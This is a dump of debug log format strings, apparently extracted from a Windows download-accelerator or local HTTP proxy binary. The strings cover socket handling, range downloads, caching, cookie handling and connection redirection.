[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

